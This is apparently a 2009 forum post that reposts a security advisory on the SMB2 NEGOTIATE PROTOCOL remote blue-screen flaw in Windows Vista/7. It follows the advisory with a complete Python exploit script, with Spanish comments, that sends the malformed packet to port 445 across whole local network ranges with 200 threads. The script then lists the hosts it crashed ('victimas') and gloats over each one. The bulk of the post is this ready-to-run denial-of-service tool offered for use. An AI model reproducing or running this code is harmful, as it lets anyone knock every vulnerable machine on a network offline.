New Vista Nuke
Posted by get on September 10 2009 07:59:21

=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

Readmore for the complete story, and the modified Python Script

 

Net Type B , C , 1

 


Extended News

=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

I. VULNERABILITY
-------------------------
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND
-------------------------
Windows vista and newer Windows comes with a new SMB version named SMB2.
See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.

III. DESCRIPTION
-------------------------
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication.

IV. BUSINESS IMPACT

------------------------
An attacker can remotly crash any Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

V. SYSTEMS AFFECTED
-------------------------
Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server 2008
as it use the same SMB2.0 driver (but not tested).

VI. SOLUTION
-------------------------
Vendor contacted, but no patch available for the moment.
Close SMB feature and ports, until a patch is provided.

VII. REFERENCES
-------------------------
http://microsoft.com

VIII. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com

IX. REVISION HISTORY
-------------------------
September 7th, 2009: Initial release


X. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

 

 

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# Blog:  http://blogricardo.wordpress.com/20...ndows-vista-2008
# Hecho Ricardo Marmolejo García 
# Basado en el exploit de Laurent Gaffié
# Ultimo cambio : miércoles, 09 de septiembre de 2009 20:01

import time
import sys
import subprocess
import threading
from threading import Thread
from Queue import Queue
from socket import *
from struct import *
from time import sleep

# configuracion
NUM_THREADS = 200
DEBUG = True
TIPO_RED = 'C'                                           # Tipo: 'B', 'C' o '1'

RED_UNICO = '192.168.1.6'
RED_C = "192.168.1.%d"
RED_B = "192.168.%d.%d"

class Pool:
    def __init__(self , numHilos):
        self.cola = Queue()
        self.numHilos = numHilos
        self.lock = False
        self.interrumpido = False
        self.numTrabajos = 0

    def intentarEmpezarTrabajo(self , cola , idWorker , *args):
        while not self.interrumpido:
            if (self.numTrabajos > 0):
                elemento = cola.get()
                self.ejecutar(idWorker , elemento , *args)
                cola.task_done()
                self.numTrabajos -= 1
            else:
                # comprueba si hay tareas cada cierto tiempo
                time.sleep(0.5)
                
    def estaOcupado(self):
        return self.numTrabajos > 0

    def nuevoElemento(self, elemento):
        self.numTrabajos += 1
        self.cola.put(elemento)

    def empezar(self , args=None):
        if not self.lock:
            self.lock = True

            for idWorker in range(self.numHilos):

                lista_args = []
                lista_args.append( self.cola )
                lista_args.append( idWorker )
                if args != None:
                    for arg in args:
                        lista_args.append( arg )

                worker = Thread(target=self.intentarEmpezarTrabajo, args=lista_args )
                worker.setDaemon(True)
                worker.start()

            # aqui se bloquea hasta que termine
            self.cola.join()

            self.lock = False

    def esLock(self):
        return self.lock

    # metodo para sobreescribir
    def ejecutar(self , idWorker , elemento , *arg):
        print "Debes sobreescribir el método"
        raise NotImplementedError

    def interrumpir(self):
        self.interrumpido = True

# herencia multiple
class PoolNukers(Pool , Thread):
    
    def __init__(self, numHilos, listaVictimasExito, listaVictimasFracaso):
        Pool.__init__(self , numHilos)
        Thread.__init__(self)        
        self.numHilos = numHilos
        self.listaVictimasExito = listaVictimasExito
        self.listaVictimasFracaso = listaVictimasFracaso
        self.TIMEOUT = 10
        self.puerto = 445
        self.buff = (
            "\x00\x00\x00\x90" # Begin SMB header: Session message
            "\xff\x53\x4d\x42" # Server Component: SMB
            "\x72\x00\x00\x00" # Negociate Protocol
            "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
            "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
            "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
            "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
            "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
            "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
            "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
            "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
            "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
            "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
            "\x30\x30\x32\x00"
        )
    
    # cuando el hilo empieza -> empieza la pool de 200 cuervos
    def run(self):
        self.empezar( args=(self.listaVictimasExito,listaVictimasFracaso,) )

    def nuevaVictima(self, victima):
        self.nuevoElemento(victima)
        
    def ejecutar(self , numHilo , victima, listaVictimasExito, listaVictimasFracaso):
        
        def estaVivo(victima, puerto):
            try:
                s = socket()
                s.settimeout(self.TIMEOUT)
                s.connect((victima,puerto))
                s.close()
                return True
            except:
                return False

        try:
            if DEBUG:
                print "Conectando con %s, (timeout de %d segs)" % (victima, self.TIMEOUT)
            s = socket()
            s.settimeout(self.TIMEOUT)
            s.connect((victima,self.puerto))
            if DEBUG:
                print "Enviando cadena a %s" % victima
            s.send(self.buff)
            s.close()
            
            # Comprobar si sigue vivo
            if DEBUG:
                print "%s ha sido atacado, comrpobando si sigue vivo" % victima

            # le dejamos tiempo para morir
            sleep(3)

            if not estaVivo(victima, self.puerto):
                listaVictimasExito.append(victima)
                if DEBUG:
                    print "Exito con %s !!!" % victima
            else:
                listaVictimasFracaso.append(victima)
        except:
            if DEBUG:
                print "Error enviando la cadena a %s" % victima

listaVictimasExito = []
listaVictimasFracaso = []

poolNukers = PoolNukers(NUM_THREADS, listaVictimasExito, listaVictimasFracaso)
if TIPO_RED == 'B':

    # RED TIPO B
    cont = 0
    for i in range(254):
        for j in range(254):
            host = RED_B % (i+1, j+1)
            poolNukers.nuevaVictima(host)
            cont += 1
elif TIPO_RED == 'C':

    # RED TIPO C
    cont = 0
    for i in range(254):
        host = RED_C % (i+1)
        poolNukers.nuevaVictima(host)
        cont += 1
else:

    # 1 única victima
    cont = 1
    poolNukers.nuevaVictima(RED_UNICO)

print "%d victimas potenciales" % cont
poolNukers.start()
poolNukers.join()

if len(listaVictimasExito) > 0:
    print "\n\nHost atacados y PETADOS"
    print "---------------------------------------------"
    for victima in listaVictimasExito:
         print "%s ha petado ;D" % victima
else:
    print "No se ha petado ninguna victima ;("

if len(listaVictimasFracaso) > 0:
    print "\n\nHost atacados pero continuan en pie"
    print "---------------------------------------------"
    for victima in listaVictimasFracaso:
         print "%s sigue en pie ;(" % victima